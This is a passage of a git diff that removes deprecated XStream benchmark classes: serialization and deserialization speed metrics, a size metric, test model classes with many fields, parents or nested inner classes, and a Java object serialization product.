(C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.metrics; - -import com.thoughtworks.xstream.tools.benchmark.Metric; -import com.thoughtworks.xstream.tools.benchmark.Product; -import com.thoughtworks.xstream.tools.benchmark.Target; - -import java.io.ByteArrayOutputStream; -import java.io.ByteArrayInputStream; - -/** - * Determines how long it takes to deserialize an object (in ms). - * - * @author Joe Walnes - * @author Jörg Schaible - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see Metric - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class DeserializationSpeedMetric implements Metric { - - private final int iterations; - private final boolean validate; - - /** - * Measure deserialization speed. - * - * @param iterations - * @deprecated since 1.3, use {@link #DeserializationSpeedMetric(int, boolean)} - */ - public DeserializationSpeedMetric(int iterations) { - this(iterations, false); - } - - /** - * Measure deserialization speed. - * @param iterations - * @param validate flag to compare result of last iteration with original data - * @since 1.3 - */ - public DeserializationSpeedMetric(int iterations, boolean validate) { - this.iterations = iterations; - this.validate = validate; - } - - public double run(Product product, Target target) throws Exception { - - // Serialize once (because we need something to deserialize). - ByteArrayOutputStream output = new ByteArrayOutputStream(); - product.serialize(target.target(), output); - byte[] data = output.toByteArray(); - - // Deserialize once, to warm up. - product.deserialize(new ByteArrayInputStream(data)); - - // Now lots of times - Object lastResult = null; - long start = System.currentTimeMillis(); - for (int i = 0; i < iterations; i++) { - lastResult = product.deserialize(new ByteArrayInputStream(data)); - } - long end = System.currentTimeMillis(); - if (validate && iterations > 0) { - if (!target.isEqual(lastResult)) { - throw new RuntimeException("Deserialized object is not equal"); - } - } - - return (end - start); - } - - /** - *@deprecated since 1.3 - */ - public double run(Product product, Object object) throws Exception { - - // Serialize once (because we need something to deserialize). - ByteArrayOutputStream output = new ByteArrayOutputStream(); - product.serialize(object, output); - byte[] data = output.toByteArray(); - - // Deserialize once, to warm up. - product.deserialize(new ByteArrayInputStream(data)); - - // Now lots of times - long start = System.currentTimeMillis(); - for (int i = 0; i < iterations; i++) { - product.deserialize(new ByteArrayInputStream(data)); - } - long end = System.currentTimeMillis(); - - return (end - start); - } - - public String unit() { - return "ms"; - } - - public boolean biggerIsBetter() { - return false; - } - - public String toString() { - return "Deserialization speed (" + iterations + " iteration" + (iterations == 1 ? "" : "s") + ")"; - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/SerializationSpeedMetric.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/SerializationSpeedMetric.java deleted file mode 100644 index eab28740e..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/SerializationSpeedMetric.java +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.metrics; - -import com.thoughtworks.xstream.tools.benchmark.Metric; -import com.thoughtworks.xstream.tools.benchmark.Product; -import com.thoughtworks.xstream.tools.benchmark.Target; - -import java.io.ByteArrayOutputStream; - -/** - * Determines how long it takes to serialize an object (in ms). - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see Metric - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class SerializationSpeedMetric implements Metric { - - private int iterations; - - public SerializationSpeedMetric(int iterations) { - this.iterations = iterations; - } - - public double run(Product product, Target target) throws Exception { - return run(product, target.target()); - } - - /** - *@deprecated since 1.3 - */ - public double run(Product product, Object object) throws Exception { - // Do it once to warm up. - product.serialize(object, new ByteArrayOutputStream()); - - // Now lots of times - long start = System.currentTimeMillis(); - for (int i = 0; i < iterations; i++) { - product.serialize(object, new ByteArrayOutputStream()); - } - long end = System.currentTimeMillis(); - - return (end - start); - } - - public String unit() { - return "ms"; - } - - public boolean biggerIsBetter() { - return false; - } - - public String toString() { - return "Serialization speed (" + iterations + " iteration" + (iterations == 1 ? "" : "s") + ")"; - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/SizeMetric.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/SizeMetric.java deleted file mode 100644 index cdd7f178f..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/metrics/SizeMetric.java +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.metrics; - -import com.thoughtworks.xstream.tools.benchmark.Metric; -import com.thoughtworks.xstream.tools.benchmark.Product; -import com.thoughtworks.xstream.tools.benchmark.Target; - -import java.io.ByteArrayOutputStream; - -/** - * Determines the size of the serialized form of an object (in bytes). - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see Metric - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class SizeMetric implements Metric { - - public double run(Product product, Target target) throws Exception { - return run(product, target.target()); - } - - /** - *@deprecated since 1.3 - */ - public double run(Product product, Object object) throws Exception { - ByteArrayOutputStream buffer = new ByteArrayOutputStream(); - product.serialize(object, buffer); - return buffer.size(); - } - - public String toString() { - return "Size of serialized data"; - } - - public String unit() { - return "bytes"; - } - - public boolean biggerIsBetter() { - return false; - } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A100Fields.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A100Fields.java deleted file mode 100644 index ffd6fa229..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A100Fields.java +++ /dev/null @@ -1,122 +0,0 @@ -/* - * Copyright (C) 2007, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 25. June 2007 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.model; - -/** - * Class with 100 fields. - * - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class A100Fields { - - String field000; - String field001; - String field002; - String field003; - String field004; - String field005; - String field006; - String field007; - String field008; - String field009; - String field010; - String field011; - String field012; - String field013; - String field014; - String field015; - String field016; - String field017; - String field018; - String field019; - String field020; - String field021; - String field022; - String field023; - String field024; - String field025; - String field026; - String field027; - String field028; - String field029; - String field030; - String field031; - String field032; - String field033; - String field034; - String field035; - String field036; - String field037; - String field038; - String field039; - String field040; - String field041; - String field042; - String field043; - String field044; - String field045; - String field046; - String field047; - String field048; - String field049; - String field050; - String field051; - String field052; - String field053; - String field054; - String field055; - String field056; - String field057; - String field058; - String field059; - String field060; - String field061; - String field062; - String field063; - String field064; - String field065; - String field066; - String field067; - String field068; - String field069; - String field070; - String field071; - String field072; - String field073; - String field074; - String field075; - String field076; - String field077; - String field078; - String field079; - String field080; - String field081; - String field082; - String field083; - String field084; - String field085; - String field086; - String field087; - String field088; - String field089; - String field090; - String field091; - String field092; - String field093; - String field094; - String field095; - String field096; - String field097; - String field098; - String field099; -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A100Parents.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A100Parents.java deleted file mode 100644 index 98eb1f651..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A100Parents.java +++ /dev/null @@ -1,122 +0,0 @@ -/* - * Copyright (C) 2007, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 25. June 2007 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.model; - -/** - * Class with 100 parents. - * - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class A100Parents { - - @Deprecated public static class Parent000 { String field000; } - @Deprecated public static class Parent001 extends Parent000 { String field001; } - @Deprecated public static class Parent002 extends Parent001 { String field002; } - @Deprecated public static class Parent003 extends Parent002 { String field003; } - @Deprecated public static class Parent004 extends Parent003 { String field004; } - @Deprecated public static class Parent005 extends Parent004 { String field005; } - @Deprecated public static class Parent006 extends Parent005 { String field006; } - @Deprecated public static class Parent007 extends Parent006 { String field007; } - @Deprecated public static class Parent008 extends Parent007 { String field008; } - @Deprecated public static class Parent009 extends Parent008 { String field009; } - @Deprecated public static class Parent010 extends Parent009 { String field010; } - @Deprecated public static class Parent011 extends Parent010 { String field011; } - @Deprecated public static class Parent012 extends Parent011 { String field012; } - @Deprecated public static class Parent013 extends Parent012 { String field013; } - @Deprecated public static class Parent014 extends Parent013 { String field014; } - @Deprecated public static class Parent015 extends Parent014 { String field015; } - @Deprecated public static class Parent016 extends Parent015 { String field016; } - @Deprecated public static class Parent017 extends Parent016 { String field017; } - @Deprecated public static class Parent018 extends Parent017 { String field018; } - @Deprecated public static class Parent019 extends Parent018 { String field019; } - @Deprecated public static class Parent020 extends Parent019 { String field020; } - @Deprecated public static class Parent021 extends Parent020 { String field021; } - @Deprecated public static class Parent022 extends Parent021 { String field022; } - @Deprecated public static class Parent023 extends Parent022 { String field023; } - @Deprecated public static class Parent024 extends Parent023 { String field024; } - @Deprecated public static class Parent025 extends Parent024 { String field025; } - @Deprecated public static class Parent026 extends Parent025 { String field026; } - @Deprecated public static class Parent027 extends Parent026 { String field027; } - @Deprecated public static class Parent028 extends Parent027 { String field028; } - @Deprecated public static class Parent029 extends Parent028 { String field029; } - @Deprecated public static class Parent030 extends Parent029 { String field030; } - @Deprecated public static class Parent031 extends Parent030 { String field031; } - @Deprecated public static class Parent032 extends Parent031 { String field032; } - @Deprecated public static class Parent033 extends Parent032 { String field033; } - @Deprecated public static class Parent034 extends Parent033 { String field034; } - @Deprecated public static class Parent035 extends Parent034 { String field035; } - @Deprecated public static class Parent036 extends Parent035 { String field036; } - @Deprecated public static class Parent037 extends Parent036 { String field037; } - @Deprecated public static class Parent038 extends Parent037 { String field038; } - @Deprecated public static class Parent039 extends Parent038 { String field039; } - @Deprecated public static class Parent040 extends Parent039 { String field040; } - @Deprecated public static class Parent041 extends Parent040 { String field041; } - @Deprecated public static class Parent042 extends Parent041 { String field042; } - @Deprecated public static class Parent043 extends Parent042 { String field043; } - @Deprecated public static class Parent044 extends Parent043 { String field044; } - @Deprecated public static class Parent045 extends Parent044 { String field045; } - @Deprecated public static class Parent046 extends Parent045 { String field046; } - @Deprecated public static class Parent047 extends Parent046 { String field047; } - @Deprecated public static class Parent048 extends Parent047 { String field048; } - @Deprecated public static class Parent049 extends Parent048 { String field049; } - @Deprecated public static class Parent050 extends Parent049 { String field050; } - @Deprecated public static class Parent051 extends Parent050 { String field051; } - @Deprecated public static class Parent052 extends Parent051 { String field052; } - @Deprecated public static class Parent053 extends Parent052 { String field053; } - @Deprecated public static class Parent054 extends Parent053 { String field054; } - @Deprecated public static class Parent055 extends Parent054 { String field055; } - @Deprecated public static class Parent056 extends Parent055 { String field056; } - @Deprecated public static class Parent057 extends Parent056 { String field057; } - @Deprecated public static class Parent058 extends Parent057 { String field058; } - @Deprecated public static class Parent059 extends Parent058 { String field059; } - @Deprecated public static class Parent060 extends Parent059 { String field060; } - @Deprecated public static class Parent061 extends Parent060 { String field061; } - @Deprecated public static class Parent062 extends Parent061 { String field062; } - @Deprecated public static class Parent063 extends Parent062 { String field063; } - @Deprecated public static class Parent064 extends Parent063 { String field064; } - @Deprecated public static class Parent065 extends Parent064 { String field065; } - @Deprecated public static class Parent066 extends Parent065 { String field066; } - @Deprecated public static class Parent067 extends Parent066 { String field067; } - @Deprecated public static class Parent068 extends Parent067 { String field068; } - @Deprecated public static class Parent069 extends Parent068 { String field069; } - @Deprecated public static class Parent070 extends Parent069 { String field070; } - @Deprecated public static class Parent071 extends Parent070 { String field071; } - @Deprecated public static class Parent072 extends Parent071 { String field072; } - @Deprecated public static class Parent073 extends Parent072 { String field073; } - @Deprecated public static class Parent074 extends Parent073 { String field074; } - @Deprecated public static class Parent075 extends Parent074 { String field075; } - @Deprecated public static class Parent076 extends Parent075 { String field076; } - @Deprecated public static class Parent077 extends Parent076 { String field077; } - @Deprecated public static class Parent078 extends Parent077 { String field078; } - @Deprecated public static class Parent079 extends Parent078 { String field079; } - @Deprecated public static class Parent080 extends Parent079 { String field080; } - @Deprecated public static class Parent081 extends Parent080 { String field081; } - @Deprecated public static class Parent082 extends Parent081 { String field082; } - @Deprecated public static class Parent083 extends Parent082 { String field083; } - @Deprecated public static class Parent084 extends Parent083 { String field084; } - @Deprecated public static class Parent085 extends Parent084 { String field085; } - @Deprecated public static class Parent086 extends Parent085 { String field086; } - @Deprecated public static class Parent087 extends Parent086 { String field087; } - @Deprecated public static class Parent088 extends Parent087 { String field088; } - @Deprecated public static class Parent089 extends Parent088 { String field089; } - @Deprecated public static class Parent090 extends Parent089 { String field090; } - @Deprecated public static class Parent091 extends Parent090 { String field091; } - @Deprecated public static class Parent092 extends Parent091 { String field092; } - @Deprecated public static class Parent093 extends Parent092 { String field093; } - @Deprecated public static class Parent094 extends Parent093 { String field094; } - @Deprecated public static class Parent095 extends Parent094 { String field095; } - @Deprecated public static class Parent096 extends Parent095 { String field096; } - @Deprecated public static class Parent097 extends Parent096 { String field097; } - @Deprecated public static class Parent098 extends Parent097 { String field098; } - @Deprecated public static class Parent099 extends Parent098 { String field099; } -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A50InnerClasses.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A50InnerClasses.java deleted file mode 100644 index d8929a21d..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A50InnerClasses.java +++ /dev/null @@ -1,73 +0,0 @@ -/* - * Copyright (C) 2007, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 13. September 2007 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.model; - -/** - * Class with inner classes 50 levels deep. - * - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class A50InnerClasses { - - @Deprecated public class L00 { String field000; - @Deprecated public class L01 { String field001; - @Deprecated public class L02 { String field002; - @Deprecated public class L03 { String field003; - @Deprecated public class L04 { String field004; - @Deprecated public class L05 { String field005; - @Deprecated public class L06 { String field006; - @Deprecated public class L07 { String field007; - @Deprecated public class L08 { String field008; - @Deprecated public class L09 { String field009; - @Deprecated public class L10 { String field010; - @Deprecated public class L11 { String field011; - @Deprecated public class L12 { String field012; - @Deprecated public class L13 { String field013; - @Deprecated public class L14 { String field014; - @Deprecated public class L15 { String field015; - @Deprecated public class L16 { String field016; - @Deprecated public class L17 { String field017; - @Deprecated public class L18 { String field018; - @Deprecated public class L19 { String field019; - @Deprecated public class L20 { String field020; - @Deprecated public class L21 { String field021; - @Deprecated public class L22 { String field022; - @Deprecated public class L23 { String field023; - @Deprecated public class L24 { String field024; - @Deprecated public class L25 { String field025; - @Deprecated public class L26 { String field026; - @Deprecated public class L27 { String field027; - @Deprecated public class L28 { String field028; - @Deprecated public class L29 { String field029; - @Deprecated public class L30 { String field030; - @Deprecated public class L31 { String field031; - @Deprecated public class L32 { String field032; - @Deprecated public class L33 { String field033; - @Deprecated public class L34 { String field034; - @Deprecated public class L35 { String field035; - @Deprecated public class L36 { String field036; - @Deprecated public class L37 { String field037; - @Deprecated public class L38 { String field038; - @Deprecated public class L39 { String field039; - @Deprecated public class L40 { String field040; - @Deprecated public class L41 { String field041; - @Deprecated public class L42 { String field042; - @Deprecated public class L43 { String field043; - @Deprecated public class L44 { String field044; - @Deprecated public class L45 { String field045; - @Deprecated public class L46 { String field046; - @Deprecated public class L47 { String field047; - @Deprecated public class L48 { String field048; - @Deprecated public class L49 { String field049; - }}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A50StaticInnerClasses.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A50StaticInnerClasses.java deleted file mode 100644 index d2b480ff3..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/A50StaticInnerClasses.java +++ /dev/null @@ -1,73 +0,0 @@ -/* - * Copyright (C) 2007, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. August 2007 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.model; - -/** - * Class with static inner classes 50 levels deep. - * - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class A50StaticInnerClasses { - - @Deprecated public static class L00 { String field000; - @Deprecated public static class L01 { String field001; - @Deprecated public static class L02 { String field002; - @Deprecated public static class L03 { String field003; - @Deprecated public static class L04 { String field004; - @Deprecated public static class L05 { String field005; - @Deprecated public static class L06 { String field006; - @Deprecated public static class L07 { String field007; - @Deprecated public static class L08 { String field008; - @Deprecated public static class L09 { String field009; - @Deprecated public static class L10 { String field010; - @Deprecated public static class L11 { String field011; - @Deprecated public static class L12 { String field012; - @Deprecated public static class L13 { String field013; - @Deprecated public static class L14 { String field014; - @Deprecated public static class L15 { String field015; - @Deprecated public static class L16 { String field016; - @Deprecated public static class L17 { String field017; - @Deprecated public static class L18 { String field018; - @Deprecated public static class L19 { String field019; - @Deprecated public static class L20 { String field020; - @Deprecated public static class L21 { String field021; - @Deprecated public static class L22 { String field022; - @Deprecated public static class L23 { String field023; - @Deprecated public static class L24 { String field024; - @Deprecated public static class L25 { String field025; - @Deprecated public static class L26 { String field026; - @Deprecated public static class L27 { String field027; - @Deprecated public static class L28 { String field028; - @Deprecated public static class L29 { String field029; - @Deprecated public static class L30 { String field030; - @Deprecated public static class L31 { String field031; - @Deprecated public static class L32 { String field032; - @Deprecated public static class L33 { String field033; - @Deprecated public static class L34 { String field034; - @Deprecated public static class L35 { String field035; - @Deprecated public static class L36 { String field036; - @Deprecated public static class L37 { String field037; - @Deprecated public static class L38 { String field038; - @Deprecated public static class L39 { String field039; - @Deprecated public static class L40 { String field040; - @Deprecated public static class L41 { String field041; - @Deprecated public static class L42 { String field042; - @Deprecated public static class L43 { String field043; - @Deprecated public static class L44 { String field044; - @Deprecated public static class L45 { String field045; - @Deprecated public static class L46 { String field046; - @Deprecated public static class L47 { String field047; - @Deprecated public static class L48 { String field048; - @Deprecated public static class L49 { String field049; - }}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/Five.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/Five.java deleted file mode 100644 index 9ecbfdd67..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/Five.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright (C) 2008, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 01. January 2008 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.model; - - -/** - * Class containing 5 basic types. - * - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class Five extends One { - - private int two; - private boolean three; - private char four; - private StringBuffer five; - - public Five(String one, int two, boolean three, char four, StringBuffer five) { - super(one); - this.two = two; - this.three = three; - this.four = four; - this.five = five; - } - - public boolean equals(Object obj) { - Five five = (Five)obj; - return super.equals(obj) && two == five.two && three == five.three && four == five.four && this.five.toString().equals(five.five.toString()); - } - - public int hashCode() { - return super.hashCode() + two + new Boolean(three).hashCode() + five.toString().hashCode(); - } -} \ No newline at end of file diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/FiveBean.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/FiveBean.java deleted file mode 100644 index a219f39c7..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/FiveBean.java +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Copyright (C) 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 05. May 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.model; - - -/** - * JavaBean class containing 5 basic types. - * - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class FiveBean extends OneBean { - - private int two; - private boolean three; - private char four; - private StringBuffer five; - - public int getTwo() { - return this.two; - } - - public void setTwo(int two) { - this.two = two; - } - - public boolean isThree() { - return this.three; - } - - public void setThree(boolean three) { - this.three = three; - } - - public char getFour() { - return this.four; - } - - public void setFour(char four) { - this.four = four; - } - - public StringBuffer getFive() { - return this.five; - } - - public void setFive(StringBuffer five) { - this.five = five; - } - - public boolean equals(Object obj) { - FiveBean five = (FiveBean)obj; - return super.equals(obj) && two == five.two && three == five.three && four == five.four && this.five.toString().equals(five.five.toString()); - } - - public int hashCode() { - return super.hashCode() + two + new Boolean(three).hashCode() + five.toString().hashCode(); - } -} \ No newline at end of file diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/One.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/One.java deleted file mode 100644 index a853bb1dd..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/One.java +++ /dev/null @@ -1,36 +0,0 @@ -/* - * Copyright (C) 2008, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 01. January 2008 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.model; - - -/** - * Class containing one basic type. - * - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class One { - - private String one; - - public One(String one) { - this.one = one; - } - - public boolean equals(Object obj) { - return one.equals(((One)obj).one); - } - - public int hashCode() { - return one.hashCode() >>> 1; - } -} \ No newline at end of file diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/OneBean.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/OneBean.java deleted file mode 100644 index dad0c4477..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/OneBean.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright (C) 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 05. May 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.model; - - -/** - * JavaBean class containing one basic type. - * - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class OneBean { - - private String one; - - public String getOne() { - return this.one; - } - - public void setOne(String one) { - this.one = one; - } - - public boolean equals(Object obj) { - return one.equals(((OneBean)obj).one); - } - - public int hashCode() { - return one.hashCode() >>> 1; - } -} \ No newline at end of file diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/SerializableFive.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/SerializableFive.java deleted file mode 100644 index cefc10d0b..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/SerializableFive.java +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Copyright (C) 2008, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 01. January 2008 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.model; - -import java.io.IOException; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; - -/** - * Serializable class containing 5 basic types. - * - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class SerializableFive extends SerializableOne { - - private static final long serialVersionUID = 1L; - private int two; - private boolean three; - private char four; - private StringBuffer five; - - public SerializableFive(String one, int two, boolean three, char four, StringBuffer five) { - super(one); - this.two = two; - this.three = three; - this.four = four; - this.five = five; - } - - private void writeObject(final ObjectOutputStream out) throws IOException { - out.defaultWriteObject(); - } - - private void readObject(final ObjectInputStream in) - throws IOException, ClassNotFoundException { - in.defaultReadObject(); - } - - public boolean equals(Object obj) { - SerializableFive five = (SerializableFive)obj; - return super.equals(obj) && two == five.two && three == five.three && four == five.four && this.five.toString().equals(five.five.toString()); - } - - public int hashCode() { - return super.hashCode() + two + new Boolean(three).hashCode() + five.toString().hashCode(); - } -} \ No newline at end of file diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/SerializableOne.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/SerializableOne.java deleted file mode 100644 index 64711cfed..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/model/SerializableOne.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright (C) 2008, 2009, 2011, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 01. January 2008 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.model; - -import java.io.IOException; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; -import java.io.Serializable; - -/** - * Serializable class containing one basic types. - * - * @since 1.4 - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class SerializableOne implements Serializable { - - private static final long serialVersionUID = 1L; - - private String one; - - public SerializableOne(String one) { - this.one = one; - } - - private void writeObject(final ObjectOutputStream out) throws IOException { - out.defaultWriteObject(); - } - - private void readObject(final ObjectInputStream in) - throws IOException, ClassNotFoundException { - in.defaultReadObject(); - } - - public boolean equals(Object obj) { - return one.equals(((SerializableOne)obj).one); - } - - public int hashCode() { - return one.hashCode() >>> 1; - } -} \ No newline at end of file diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/package.html b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/package.html deleted file mode 100644 index 36e306bc4..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/package.html +++ /dev/null @@ -1,14 +0,0 @@ - - -A simple harness for running benchmarks. See Harness - diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/JavaObjectSerialization.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/JavaObjectSerialization.java deleted file mode 100644 index 9e00f5d79..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/JavaObjectSerialization.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 15. July 2006 by Joe Walnes - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.tools.benchmark.Product; - -import java.io.OutputStream; -import java.io.InputStream; -import java.io.ObjectOutputStream; -import java.io.ObjectInputStream; - -/** - * Standard Java Object Serialization product. - * - * @author Joe Walnes - * @see com.thoughtworks.xstream.tools.benchmark.Harness - * @see Product - * @see ObjectOutputStream - * @see ObjectInputStream - * @deprecated As of 1.4.9 use JMH instead - */ -@Deprecated -public class JavaObjectSerialization implements Product { - - public void serialize(Object object, OutputStream output) throws Exception { - ObjectOutputStream objectOutputStream = new ObjectOutputStream(output); - objectOutputStream.writeObject(object); - } - - public Object deserialize(InputStream input) throws Exception { - ObjectInputStream objectInputStream = new ObjectInputStream(input); - return objectInputStream.readObject(); - } - - public String toString() { - return "Java object serialization"; - } - -} diff --git a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamBEAStax.java b/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamBEAStax.java deleted file mode 100644 index bf3b5449a..000000000 --- a/xstream-benchmark/src/java/com/thoughtworks/xstream/tools/benchmark/products/XStreamBEAStax.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2009, 2015 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 30. April 2009 by Joerg Schaible - */ -package com.thoughtworks.xstream.tools.benchmark.products; - -import com.thoughtworks.xstream.io.xml.BEAStaxDriver; - -/** - * Uses 